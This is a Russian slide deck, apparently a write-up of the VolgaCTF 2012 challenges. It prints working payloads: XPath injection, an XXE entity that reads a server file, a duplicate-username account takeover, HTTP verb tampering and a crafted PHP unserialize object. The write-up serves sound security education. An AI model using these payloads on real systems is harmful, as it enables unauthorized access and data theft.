VolgaCTF 2012 разбор заданий

Preview:

Citation preview

Разбор заданий «VolgaCTF»

Сергей Бобров

Август, 2012 г.

Задания

Финал

• Сервис «Карта Сокровищ» [Python/Django]

Отборочные

• Web100 [XSS/Bot]

• Web200 [Authentication Bypass]

• Web500 [Verb Tampering/Backup Files/Deobfuscation/Unserialize

Tricks]

• Stegano200 [WAV-file]

Сервис «Карта Сокровищ»

Сервис «Карта Сокровищ»: Уязвимости

Отображение всех флагов в xml, предоставляющей данные

для визуализации

Сервис «Карта Сокровищ»: Уязвимости

Внедрение операторов XPath

treasure = treasure_xml.xpath('/treasures/treasure

[id = \'%s\' and owner=\'%s\']' %

(id, request.session['user'].name))

Эксплуатация

/treasure/view/?id=<id>' or '1'='1

Username = ' or id= '<id>

Сервис «Карта Сокровищ»: Уязвимости

Регистрация пользователей с одинаковым логином

• При регистрации не проверялось наличие такого пользователя

• При проверке прав использовался только логин пользователя

Эксплуатация

• Смотрим имя последнего пользователя с флагом

• Регистрируемся с данными Login: <login>, Password: 1

• ???

• PROFIT!

Сервис «Карта Сокровищ»: Уязвимости

Внедрение внешних сущностей XML (XXE Attack)

• При добавлении флага на стороне клиента формировалась XML

• На сервере XML-парсеры поддерживали XML eXternal Entity

Эксплуатация

<!DOCTYPE x [

<!ENTITY xxe SYSTEM "file:///pathToService/Treasure.xml">

]>

<treasure><name>x</name>

<treasureData>&xxe;</treasureData>

<x>5</x><y>5</y></treasure>

Отборочные: Задание WEB100

Отборочные: Задание WEB200

/robots.txt

Disallow: /_31337_4dm1np4g3

/_31337_4dm1np4g3

if($password != ‘xxx’) {

header(‘Location: index.php?error’)

}

Отборочные: Задание WEB500

Verb Tampering

.htaccess

<Limit GET>

require valid-user

</Limit>

Файлы бэкапа

Обфускация

Битовыми операциями формируются слова «chr» и цифры 0-9.

Далее формируется строка

a.s.s.e.r.t(c.o.d.e)

Где каждая буква представляет собой c.h.r(0.1.2)

Отборочные: Задание WEB500

Unserialize Tricks // bit.ly/nWyefG

Примерный вид эксплоита:

auth=a:3:{s:5:"login";s:6:"pirate";s:8:"password";s:7:"pirate1";s:4:

"name";O:7:"Textbox":1:{s:12:"\0Textbox\0obj";C:6:"Object":86:{

O:4:"User":2:{s:11:"\0User\0login";O:4:"Flag":0:{}s:14:"\0User\0p

assword";s:8:"getFlags";}}}}

Отборочные: Задание Stegano200

Спасибо за внимание! sbobrov@ptsecurity.ru

Recommended